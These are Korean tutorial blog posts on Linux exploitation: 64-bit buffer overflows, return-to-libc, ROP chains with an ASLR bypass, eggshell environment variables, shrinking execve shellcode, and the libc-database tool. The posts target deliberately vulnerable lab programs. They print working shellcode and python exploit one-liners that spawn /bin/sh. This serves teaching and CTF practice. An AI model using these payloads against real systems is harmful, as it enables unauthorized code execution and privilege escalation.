/* 
written by kaspy (kaspyx@gmail.com)
*/ 

버퍼 오버플로우 공격기법이 등장한지도 꽤오래되었지만 64비트에서 공략하는 문서는 그리 많지않아서 정리하게되었다.

그냥... 64비트는 그환경특성상 exploit 하기 여러모로 굉장히 더어려워졌다.


1. 쉘코드

우선은 간단한거부터 말하자면 (당연한거지만) 64비트 리눅스 ELF 바이너리에서는 64비트 쉘코드를 써야한다는것이다. 


32비트 같은 경우에는 eax 레지스터에 0xb를 넣고 ebx에 "/bin/sh"의 문자열의 주소, ecx,edx에는 0을 넣은뒤 int 0x80 어셈블리를 실행하면 쉘이 쉘이 떴다. 


그러나 64비트에서는 syscall 이라는 어셈블리를 사용하고 rdi에 0x3b를 넣고, rsi와 rdx에 0을 넣은뒤 호출해야 쉘이 뜬다. 그러니 64비트 리눅스용 쉘코드를 검색해서 사용하도록 하자.


여기서는 구글링하여 여기의 쉘코드를 참조하였다.


2. 접근 주소범위


64비트 환경의 레지스터 크기는 8바이트이며 레지스터도 다르다.


근데 무엇보다 사용자가 접근할수 있는 주소는 첫 47비트까지이다. 


BoF를 일으켜서 ret등을 조작할때 0x00007fffffffffff 까지 가능하며 그보다 큰값이 들어오면 프로그램 예외가 발생하여 에러로 종료하게 된다. strcpy 함수 취약점을 공략하려해도 널바이트때문에 많은 제약사항이 생겨버렸다. 어떻게보면 강제적으로 ASCII 아머가 탑재되있다고봐도 무방하다.


3. 버퍼 오버플로우 기본


취약코드 샘플은 아래와 같다.

테스트환경: Ubuntu Linux 16.04 

  1. #include <stdio.h>                                                                          
  2.  
  3. int main(int argc, char *argv[])
  4. {
  5.   puts("This is 64bit bof vulnerable program");
  6.   char buf[256];
  7.  
  8.   if ( argc < 2)
  9.   {
  10.     return -1;
  11.   }
  12.  
  13.   strcpy(buf, argv[1]);
  14.   printf("You entered %s\n", buf);
  15.  
  16.   return 0;
  17. }
  18. //gcc -o bof64 bof64.c -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack
  19. //sysctl -w kernel.randomize_va_space=0

우선 기본적인것을 연습해야하니 ASLR과 NX를 끄고 테스트를 끄고 테스트하도록 하겠다.

페이로드는 (NoP + Shellcode) (256byte) + RBP (8byte) + RSP (8byte)로 볼수있다.

gdb를 통해 264바이트를 가득 채워서 strcpy를 통해 저장되는 주소를 확인해보도록하자.

r `python -c 'print "a" * 264' + "aaaaaaaa"`



쉘코드의 주소는 0x7fffffffdfb0 으로 확인되었다.

즉 아래와같이 파이썬을 통해 페이로드를 입력해주면 쉘이뜬다.

r `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xb0\xdf\xff\xff\xff\x7f"'` 



 gdb 없이 실행해서 위의 Payload를 넣으면 실행되지 않을것이다. 왜냐하면 그냥 실행하면 gdb를 통해 실행하는것과 환경변수등이 달라서 쉘코드의 주소가 저장되는 버퍼의 주소가 달라지기 때문이다. 그러나 주소가 크게 달라지진 않으므로 gdb 주소 기준으로 주소를 증가시키면서 100바이트 내로 브루트포스하면 쉘이뜬다.  나는 아래와같이 gdb 기준으로 48 바이트 더했더니 쉘이 떳다.


./bof64 `python -c 'print  "\x90"*100 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

+"\x90"*137+ "\xe0\xdf\xff\xff\xff\x7f"'`



4. RTL(Return to Library), ROP(Return Oriendted Programming)


RTL 같은경우는 pop rdi, ret 의 가젯을 찾은다음에 rdi에 "/bin/sh"의 주소를 이어로는 ret의 주소에는 system 함수주소를 넣어주면 된다. 



(사용할 gadget의 주소들이 0x00007fffffffffff 이하로 전부 null이 포함되어있다.)


그러나 예제의 strcpy 취약코드로는 RTL, ROP 기법을 사용하기 어려워졌다. 


왜냐하면 우리가 주입하는 페이로드는 47비트까지만 덮을수있어서 반드시 널바이트가 여러번 포함 되는데 그렇게되면 반복적인 스테이징 기법에 필요한 Payload를 사용할수 없기때문이다. 그래서 (read 함수등으로 인한 취약점이 아니라면)위에서 언급한 예제로는 공략이 불가능에 가깝다고본다. 그래서 이기법에 대해서는 따로 다루어보도록하겠다.


혹시 아는분이 있다면 알려주면 고맙겠습니다... :)



* 참고 링크


- http://crypto.stanford.edu/~blynn/rop/

http://hikai.tistory.com/7

http://lesh.tistory.com/32

http://shell-storm.org/shellcode/files/shellcode-806.php (쉘코드)

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 서론

RTL(Return to library) 기법이란, 버퍼오버플로우(Buffer Overflow, 이하 BOF) 취약점이 존재하는 프로그램을 익스플로잇 할때 해당 프로그램의 스택(stack) 영역에 실행 권한이 존재하지 않을때 프로그램이 사용하는 glibc 내에 존재하는 함수를 호출하는 기법이다.

요즘 대부분의 리눅스 및 윈도우 시스템은 NX 또는 DEP등으로 스택(stack) 영역에 실행 권한을 주고있지않고, 특별한 컴파일 옵션을 주어서만 실행권한을 줄수있는만큼 간단하면서도 자주 사용되는 방법이다.

포너블문제(pwnable)에서는 기본중에 기본이니 잘알아두도록하자.

* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 

2. 취약프로그램


BoF 취약점이 일어나는 프로그램의 소스코드는 아래와 같다. RTL을 공부하기위한것이니, Stack Canary와 ASLR 은 꺼두도록하자.

(32비트로 컴파일하기위해 -m32 옵션도 추가적으로 줬음)



  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o vulnerability vulnerability.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.  
  10.   if ( argc < 2 )
  11.   {
  12.     return -1;
  13.   }
  14.   else{
  15.     strcpy(buf,argv[1]);
  16.     printf("You entered : %s\n",buf);
  17.   }
  18. }


gdb로 열은후 maps로 보면 아래와 같이 스택영역에 실행권한이 없는것을 확인할수 있다.



3. 스택에 쉘을 올려놓고 공격해보기


BoF 취약점을 가진 프로그램을 gdb로 실행하여 dissembly 하면 아래와 같이 나와진다. 

(gdb 유틸 peda를 사용하면 아래와같이 좀더 보기쉽게 나온다.)



버퍼의 사이즈는 32바이트로 a * 32 byte + ebp (4byte) + ret(4byte)로 생각할수있다.


그렇다면 스택 버퍼에 쉘을 때려넣고 ret를 버퍼의 주소로 수정하여 공격을 해보자.

(당연히 안되겠지만 시험삼아)


버퍼의 주소는 0xffffd3e8 으로 확인되어진다.(+32 지점에 브포걸고 확인)


Payload = (shellcode + dummy) 32byte + ebp (dummy) + 0xffffd3e8 (버퍼의 주소)


로 생각할수있겠다.


이걸 파이썬으로 하면


 python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'


처럼 나타낼수있고, gdb로 확인해보자.


gdb에서 입력하고싶다면 


r `python -c 'print "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff"+"/bin/sh;" + "b" * 6 + "c" * 4 + "\xd8\xd3\xff\xff"'`


으로 해주면된다.



위와같이 실행하면 ret 하기전에 다음 스택포인터가 버퍼의 주소를 가리키고있는것을 확인할수 있다.


그러나 아래와같이 SIGSEGV 시그널 예외가 발생하여 쉘코드가 실행되지 않는다.



쉘을 띄우고 싶다면, 컴파일 옵션에 -z execstack 을 줘서 다시 컴파일해서 테스트해보면된다.


4. RTL(Return to Library)로 공략하기


다시 처음으로와서 이번에는 Return to Library 기법을 사용해서 공격을 해보도록하자.


쉘을 띄우기 위해 system 이라는 함수 주소를 확인해보자.



system 함수의 주소는 0xf7e43940 이다.


RTL을 이해하기위해선 함수 파라미터 호출에대해 어셈블리수준에서 간단히 이해할수 있어야한다.


예를들어


int func(int a, int b,int c)


가 있다면 어셈블리로 


push c

push b

push a

call func 


형식으로 호출이 이루어진다. 물론 함수 호출규약(Calling Convention)에따라 다를수있지만 glibc는 위와같은(cdecl) 방식이 사용된다.


func 함수가 실행될때는


pop a

pop b

pop c 


형태로 매개변수를 가져와서 함수기능에맞게 처리한다.


즉 아래와같이 argv1, argv2를 push 했다면 함수의 인자 순서는 아래와같다.




아래는 ret 하기전에 스택에 저장된 값인데



첫번째 빨간색 박스에 (0000) system의 함수주소를, 그리고 두번째 박스(0008) 에는 "/bin/sh"의 문자열의 주소를 넘겨주면 된다.


buf에 바로 /bin/sh를 넣어줘서 주소를 넘겨주던지 아니면 glibc에 저장되어있는 주소를 넘겨줘도된다.




아래는 exploit 코드이다.


./vulnerability `python -c 'print  "a"*32 + "b" * 4 +  "\x40\x39\xe4\xf7"+ "xxxx" + "\x8b\x1e\xf6\xf7"'` 



exit 를하면 segmentation 오류가 뜰것인데 그건 004 번지에 exit 함수를 넣어줘야 제대로 종료가 되는데 직접 해보기 바람.


RTL 기법의 한계점이 있다면 연속적인 Call Chain을 구성하기 어렵다는것이고, ASCII Armor 나 ASLR 이 걸려있을때에 사용하기 어렵다는 것등이있다.


RTL은 간단하면서도 유용할때가 많이있다. 


예를들어 Windows 환경의 DEP를 끄고 싶다면 SetProcessDEPPolicy() 함수(매개변수를 하나만 받는경우)를 사용하여 DEP를 disable한이후에 스택에 쉘코드를 실행하는경우 등을 들수있다.(단. DEP 모드가 Always ON/Off , 모듈이 NXCOMPAT으로 되어있을경우는 해당되지않음) 리눅스 환경 같은경우 mprotect() 함수를 사용하여 스택에 nx를 해제한후에 쉘코드를 띄울수도있다.



- 참조 내부 링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 버퍼오버플로우(Buffer Overflow) 해킹기법이란?? - http://kaspyx.kr/2

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. 시작하며


ROP(Return Oriented Programming) 이란 버퍼 오버플로우 취약점이 발생하는 바이너리를 exploit 할때 가장 많이 사용되는 기법으로 바이너리 내부에 존재하는 gadget을 사용하여 호출 함수 및 인자를 조작하는 방법이다.


솔직히 관련 자료도 굉장히 많은데.. 나도 복습 할겸 정리해보았다.


일반적으로 ASLR이 걸려있는 바이너리는 Memory leak 또는 got, plt 등에 함수가 존재해야하는 특수한 전제가 붙어야 exploit 가능하지만, ROP 기법을 사용하면 (PIE가 걸려있지않아야함) 바이너리의 고정주소의 gadget을 활용하여 exploit 할수있다.


여기서 gadget이란 바이너리에 존재하는 pop, pop, ret 등의 어셈블리 코드라고 할수있다.


* 테스트 환경은 우분투 리눅스 16.04 64bit 입니다 


2. ROP 기본


우선 ROP를 하기위해 기본 개념을 살펴보자.

ret 하기전에 스택에 저장된 값이 아래와 같을때 RTL 기법은 아래와 같이 간단히 나타낼수있다.


그러나 위의 방식의 단점은 인자가 여러개일때 &next func가 호출될때 거기에 맞는 인자를 만들어줄수 없다. 


예를들어 


strcpy(buf,"/bin/sh");

mprotet(0xffffd42c, 256, PROT_EXECUTE)

system(buf);


를 해주고싶은데 단순 RTL로는 해결이 되지않는다. 즉 RTL Call Chain을 구성할수 없는데 이때는 esp을 올려주는 pop과 다시 esp가 가리키는 곳으로 돌아가는 ret을 활용하면 Call Chain을 구성해줄수 있다.


필요한 gadget을 설명하자면


ret는 esp가 가리키는 주소로 돌아가는 명령어이다.


pop eax, pop ebx, pop rax, add esp, 0x16.. 등등은 스택포인터를 올리는 명령어이다.

(뭐 pop eax는 eax에 esp를 넣고 esp를 4바이트 올린다라고 하는게 정확하지만 ROP 하는데에는 esp를 올리고 ret 한다는게 중요함.)


만약에 &next_func(아래에서는 &gadget)의 주소에 pop eax, pop ebx, ret 라는 어셈블리가 있다면 어떻게 될까?


&func 함수가 첫번째로 실행되고 ret 하면서 esp를 4바이트 올린다.


그리고 pop eax, pop ebx를 실행하여 최종 스택의 메모리 정보는 아래와같다.



&next func에서도 역시 똑같은 방식으로 함수의 인자에 따라 구성을 해주면된다.


즉 바이너리 내부에 gadget을 활용함으로써 Call Chain을 구성할수 있다.


3. 취약 프로그램 ROP로 공략해보기


ROP 기법을 설명하는것이니 아래와 같이 버퍼 오버플로우 취약점이 있는 프로그램이 있다고 해보자. 


  1. #include <stdio.h>
  2.  
  3. // sudo sysctl -w kernel.randomize_va_space=0
  4. // gcc -o rop rop.c -fno-stack-protector -mpreferred-stack-boundary=2 -m32
  5.  
  6. int main(int argc, char *argv[])
  7. {
  8.   char buf[32];
  9.   setreuid(geteuid(),geteuid());
  10.   puts("This is BoF vulnerability binary");
  11.  
  12.   if ( argc < 2 )
  13.   {
  14.     return -1;
  15.   }
  16.  
  17.   strcpy(buf,argv[1]);
  18.   printf("You entered : %s\n",buf);
  19. }


- 바이너리 실행



1) GOT(Global offset table) 및 PLT(Procedure Linkage Table) 영역


이전 블로그에서는 RTL을 사용해서 exploit을 하였지만, 이번에는 ROP를 활용해보도록하겠다.


우선은 알아야할것이 바이너리 내부에 GOT 및 PLT 영역인데, 여기에 대한 정리는 따로 하도록하고


PLT 영역은 현재 프로그램에서 사용하는 함수를 호출하기위해 처음으로 분기하는 루틴이고 GOT 에는 libc 내에 실제 함수의 주소가 저장되어있다.


즉 PLT -> GOT 순서로 호출되는데 예를들어 printf 함수를 호출한다면 printf의 PLT가 호출되고, PLT 에서는 다시 GOT로 점프한다. GOT에서는 첫번째 실행이면 printf의 주소를 저장해주고, printf가 호출되며 두번째부터는 저장된 주소로 호출하도록 되어있다.


취약점 바이너리에서는 printf 및 strcpy 함수가 호출되는데 실제 바이너리를 readelf 명령어로 열어보면 각 함수에 대한 got 및 plt가 나와있는것을 확인할수있다.



뭐 요약하자면 PLT 의 함수를 사용하면 몇개의 함수들은 ASLR의 문제를 해결할수있으며, PLT 함수를 호출함으로써 익스플로잇에 쉽게 활용할수있다.


2) ROP Gadget 구성하기 


ASLR이 걸려있어도 프로그램의 .data, .text 나 .bss 등의 영역은 고정이니 이 고정주소를 참조하면된다. 


나는 아래와같은 함수 호출을 하기위한 gadget을 구성해볼것이다.


strcpy(addr, "/bin/sh");

system(addr);


gadget은 반드시 ret 로 끝나야 하므로 아래와 같은 명령어로 찾아보도록해보자.


objdump -d rop | grep ret -B 3 



또한 "/bin/sh" 라는 문자열이 저장된곳도 알아야한다. (나는 0x0804a024 주소의 gadget을 사용하였다.)


보통 한번에 넘겨주면 좋지만 이번에는 연습용이므로 '/\x00', 'b\x00', 'n\x00', '/x0\\', 's\x00', 's\x00' 이런식으로 넘겨주도록 하겠다.(개노가다)


그렇다면 특정 주소(addr)에 strcpy를 여러번 해줘야한다.

(Payload는 대충 a * 36 + ebp(4byte) + ret (ROP Call chain)으로 보면되겠다.)


보통 문자열이 저장되는 주소는 .bss 이나 .data 영역을 많이 사용하는데, 이곳은 초기화되지않은 변수들이 저장되는 전역변수 영역이다


나는 strcpy 함수로 저장될 버퍼주소로 0x0804a024으로 잡았다.


readelf -a rop | grep data



이제부터 노가다의 시작이다.


gdb로 프로그램을 실행하여 find 명령어로 '/' , 'b', 'i' ,'n', '/' , 's', 'h'를 찾아서 일일이 strcpy에 1바이트씩 증가시키며 저장해주도록한다



대충 main에서 ret을 할때 스택 payload 구조는 아래와 같이 구성되어진다.




초록색은 strcpy의 plt 주소, 빨강색은 strcpy의 첫번째 버퍼주소, 주황색은 복사할 문자열의 주소 그리고 파랑색은 libc 내부의 system 함수주소, 보라색은 exit 함수의 주소이다.


strcpy의 PLT 주소는 0x08048390이며, gadget(pop, pop, ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였다.



gdb를 이용해서 바이너리 내부에 system 함수의 주소는 0xf7e43940 으로 확인되었고, exit 함수의 주소는 0xf7e377b0 이다.


아래는 exploit 코드이다.


./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x40\x39\xe4\xf7"  + "\xb0\x77\xe3\xf7" + "\x24\xa0\x04\x08" '`


위의 Call chain을 대략 c언어로 나타내면 아래와 같다.


strcpy(buf,'/');

strcpy(buf+1, 'b');

strcpy(buf+2, 'i');

strcpy(buf+3, 'n');

strcpy(buf+4, '/');

strcpy(buf+5, 's');

strcpy(buf+6, 'h');

sytem(buf);

exit(?);


- 실행 결과



4. ASLR 문제점 해결하기


위에서 설명한 exploit은 ASLR 환경에서 작동하지 않는다. 왜냐하면 glibc 내 함수(system) 가 고정이라는 전제를두고 익스플로잇을 하였기 때문이다. 그러나 ROP 기법을 좀더 활용하면 이를 해결할수있다.


이것도 전제조건이 붙긴하는데, .plt 와 .got 영역이 쓰기 가능해야하는것(Partial RELO) 과 PIE가 붙어있으면 안된다. 


우선 ASLR 환경에서 glibc 함수는 랜덤이긴하지만 offset은 동일한데, 


예를들어 glibc내에 printf 함수 주소를 알고있으면 (got에 저장되어있음) 다른 함수와의 offset을 통해 구할수있는것이다.


(나는 printf의 got 주소를 공략하였다. 시간이 된다면 geteuid 등을 공략해서 해보는것도 도움이 될것이다.)



printf got 주소 : 0x804a00c


execve 함수주소: 0xf7eb8400 (25568 offset)


printf 함수주소 : 0xf7e52020


system 함수주소: 0xf7e43940 (-59104 offset)


즉 got 에 저장된 printf 함수 주소에, 59104를 빼면 system 함수 주소가 나오고, 25568을 더하면 execve 함수 주소가 나오는데 이값은 일정하다는것이다.


printf의 got 주소에는 glibc printf 함수 주소가 저장되어있다. 우리는 printf의 got 주소를 system이나 execve등으로 수정한후에 plt의 printf를 불러주면 system 이나 execve 함수를 통해 익스플로잇을 할수있다.


(내가알기론) ROP 쉘 익스플로잇 방법은 2가지가 있다


1) GOT 주소 수정하기


pop ebx

pop ecx

ret


등을 통해 ebx에 got 주소를 넘겨주고


add [ebx+0x23158], ecx 

ret


등의 이상한 gadget을 통해 got에 저장된 주소값을 수정하는 작업을 더해줘서 공략하는 방법


2) 레지스터 조작후 CALL


또하나는


pop eax

pop edx

ret


이후에


lea ecx, [eax]

add ecx, edx

call ecx 


등을 통해 특정 주소의 값을 얻은후에 오프셋만큼 더한후에 call을 하는 방법이다.


물론 저렇게 쉽게 gadget이 나온다는 보장도없지만 최대한 간략화해서 설명했다.


3) ASLR 우회하여 공략하기


위에서 설명한 취약한 바이너리의 ASLR 공략을 위해 좀더 gadget을 찾아보았다.


참고로 나는 방법 1) 2) 둘다 활용하였다.


leave를 이용한 custom stack을 할까도 고민했는데.. 굉장한 노가다가 될거같아서 일일이 gadget을 넣어주었다.(이것도 개노가다)


ropme 라는 유용한 툴을 사용하여 gadget을 찾아보았다.



우선 pop ebx는 많아서 수월해보였는데, eax에 내가 원하는 값을 넣는 gadget이 존재하지않았다.


좀더 찾아보니 adc 형태로 특정 주소에 값을 쓰는 gadget을 발견할수 있었다.





ecx가 가리키는 주소에 1바이트씩 증가시키면서 bh 레지스터(bx의 상위 레지스터)로 1바이트씩 더해주면 strcpy의 널바이트 문제를 해결할수있다. 



그러나 pop ecx 와같은 gadget이 존재하지않았는데, 


아래와 같이 les 라는 명령어로 ecx에 값을 저장할수 있는 gadget을 찾을수 있었다.



ecx에는 les 명령어를 통해 (ebx *3)에 저장된 값을 넣어준다. 나는 0x0804A02C에 저장해줬다.)


즉 plt에 저장된 strcpy 함수를 통해 data 영역에 printf의 got 주소를 써주고 위의 les 명령어가 실행되면 ecx에 printf got 주소가 저장될것이다. 


printf의 got를 execve로 저장하고 printf의 plt를 불러주면 성공적으로 exploit 할수있다.


설명이 길어졌는데 아래와같이 exploit을 보며 이해해보기 바란다.


strcpy의 PLT 주소는 0x08048390이며, gadget(pop pop ret)의 주소는 0x080485aa, 저장할 버퍼 주소는 0x0804a024 이다.  '/bin/sh' 문자열이 위치한 각각의 주소는 주황색으로 표시하였고, 0x0804a02c는 les 명령어로 printf의 got 함수의 주소를 저장해둔 주소이다.


0x08048351 = pop ebx, ret

0x080485a6 = les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret

0x080485a0 = adc [ecx] bh ; div dword [ebp-0x1d] ; add esp 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ;;

0x080486ca = inc ecx ;;

0x08048370 = printf.plt

X\x64XX = pop ebx를 통해 ebx에 저장되는 값

0x08048007 = 0x0


./rop `python -c 'print "a" * 36 + "b" *4 + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x24\xa0\x04\x08" + "\x54\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x25\xa0\x04\x08" + "\x57\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x26\xa0\x04\x08" + "\x56\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x27\xa0\x04\x08" + "\x5e\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x28\xa0\x04\x08" + "\x58\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x29\xa0\x04\x08" + "\x62\x81\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2a\xa0\x04\x08" + "\x1c\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2c\xa0\x04\x08" + "\x41\x86\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2d\xa0\x04\x08" + "\x01\x83\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2e\xa0\x04\x08" + "\x1a\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x2f\xa0\x04\x08" + "\x1b\x80\x04\x08" + "\x90\x83\x04\x08" +  "\xaa\x85\x04\x08" + "\x30\xa0\x04\x08" + "\x07\x80\x04\x08" + "\x51\x83\x04\x08" + "\x64\x35\xac\x02" + "\xa6\x85\x04\x08" + "aaaa" + "bbbb" + "\x24\xa0\x04\x08" + "\x51\x83\x04\x08"+ "X\xe0XX" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x64XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08" + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "\x24\xa0\x04\x08" + "\xca\x86\x04\x08"  + "\xa0\x85\x04\x08" + "a" * 12 + "X\x06XX" + "bbbb" + "cccc" + "eeee"+ "\x70\x83\x04\x08" + "XXXX" + "\x24\xa0\x04\x08" +"\x07\x80\x04\x08"+"\x07\x80\x04\x08"'`


- 실행 화면

(ASLR 환경에서도 잘 작동한다. 단 glibc의 버전이 다르면 offset 계산을 다시해줘야함, 내컴퓨터의 glibc 버전은 2.23)



5. 참고자료


- 외부링크

 - http://teamcrak.tistory.com/332

-내부 링크

 - http://kaspyx.tistory.com/99

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


에그쉘(eggshell)이란 취약한 바이너리를 exploit 할때 버퍼의 주소 계산이나 버퍼 사이즈등의 난관으로 공략하기 어려울때 이를 환경변수에 등록해두고 이주소를 사용한다. 로컬(local) 환경에서만 사용할수있는 단점이있다.


아래 두개 쉘코드는 25 바이트 및 22바이트로 나름 경량화하였다.


사용법은 export 명령어를 사용하여 에그쉘을 환경변수로 등록하고 getenv 함수를 통하여 에그쉘의 주소를 얻어온후, 프로그램의 ret 주소를 getenv 함수의 주소로 변경한다. 끗


  • shellcode 1 - 25 byte
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.   return 0;
  12. }


  • shellcode 2 - 22 byte
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3.  
  4. //export kaspyx=`python -c 'print "\x90"*10000+"\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh"'`
  5.  
  6. int main()
  7. {
  8.   char *p;
  9.   p= getenv("kaspyx");
  10.   printf("%x\n",p);
  11.   return 0;
  12. }



참고 내부링크


 리눅스 쉘코드(shellcode) 만들기 - http://kaspyx.kr/4

 리눅스 쉘코드(shellcode) 크기 줄이기 - http://kaspyx.kr/91

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 


리눅스 쉘코드(shellcode) 사이즈 줄이기(경량화)는 해커들 사이에서도 많이 연구되는 문제로, 얼마나 작은 사이즈의 명령어를 사용하여 쉘코드를 띄우는가 하는 문제이다. 


내가 알기로는 가장 작은 리눅스 쉘코드는 특수한 전제조건이 붙지 않았을때 21 바이트로 알고있는데 쉘코드 사이즈 줄이는 간략한 방법을 소개하도록 하겠다.


우선 내가 이전에 작성한 쉘코드의 사이즈는 25바이트로 아래와 같다.


  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


아래는 쉘코드에 대한 어셈블리어로 아래와같다. 

 


그럼 쉘코드 사이즈를 줄이기 위해서는 어떤것들을 수정해야 할까?


위에서 


xor eax, %eax,

movb 0x0b , %al


명령어는 4바이트를 먹는반면


push $0x0b

pop %eax


으로 바꾸면 3바이트로 1 바이트를 절약할수 있다.


jmp strings를 삭제해도 ebx에는 이상한값이 들어오면 cpu는 이를 무시하고 실행하므로 2바이트를 절약해서 총 3바이트를 절약할수있었고 22바이트로 쉘코드의 사이즈를 줄일수 있었다.


Tiny shellcode - 22 byte


  1. char buf[] =
  2. "\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack



참고 내부링크


 리눅스 쉘코드 만들기 - http://kaspyx.kr/4

저작자 표시
신고
Posted by 캐스피
/* 
written by kaspy (kaspyx@gmail.com)
*/ 

1. libc-database 서론

 libc-databse 라는게 무엇이냐하면, 주로 해킹대회에서 포너블(pwnable) 문제를 풀때 사용하는 유틸리티 프로그램인데, glibc 라이브러리버전별로 우리가 원하는 함수의 주소를 저장하고있는 데이터 베이스라고 보면될것이다.


 다운로드는 아래 URL에서 다운받을수 있다.


libc-database-master.zip


https://github.com/niklasb/libc-database


 일반적으로 요즘 linux 시스템은 대부분 ASLR을 적용하여 사용되고있는데, 그래서 매번 실행될때마다 함수의 주소가 랜덤하게 바뀌며 그 오차도 꽤큰편이어서, 브루트포스 하기에도 매우 어렵다. NX 또한 기본적으로 사용하고있어서 쉘코드를 실행할때 스택이나 힙을 사용하기에도 마땅치않다. 이것을 극복하기위해 보통 RTL(Return to library) 또는 ROP 기법을 사용하는데, 그럴때 libc-database를 사용하면 매우 편리하게 특정 함수의 주소를 찾아서 공략할수 있다.


2. libc-database 원리


 보통 특정 함수의 주소라면 system 함수 주소 , __libc_start_main_ret, "/bin/sh" 주소 등등이 대상이다.


 아래 보는바와 같이 리눅스 libc 라이브러리의 주소는 랜덤하게 잡혀있다.



여기서 libc 함수의 주소는 위에 보는 임의의 랜덤주소 + offset 만큼 떨어져서 존재하고, 이 offset 값은 고정이다.



즉 역으로 생각하면, 특정함수 예를들어 system 함수의 offset 값을 알고 libc가 바이너리에 위치한 주소를 알면(base주소)


libc(base주소) + offset 만큼 더해서 libc 내의 함수주소를 얻어올수있다. 추가적으로 특정 문자열이("/bin/sh")가 위치한 offset 값도 얻을수있음.


libc 버젼별로 offset값을 저장하고있는 database가 바로 libc-database이다, 즉 특정 함수의 마지막 12비트의 값을 데이터베이스화 하고있고, 그값이 주어졌을때 libc의 버전을 찾아내주는 유용한 툴이다.(저위에 그림을 예로 했을때는 마지막 주소 0xed0만 있으면 된다.)


 단 우분투 버전으로만 구성되어있는데, 사용자가 임의로 추가를 해줘서 별도의 db를 구축할수도있는점은 또다른 장점인것같다.

(우분투도 모든 버전에 대해 저장하고있는것은아니므로, 이점 유의해야함)


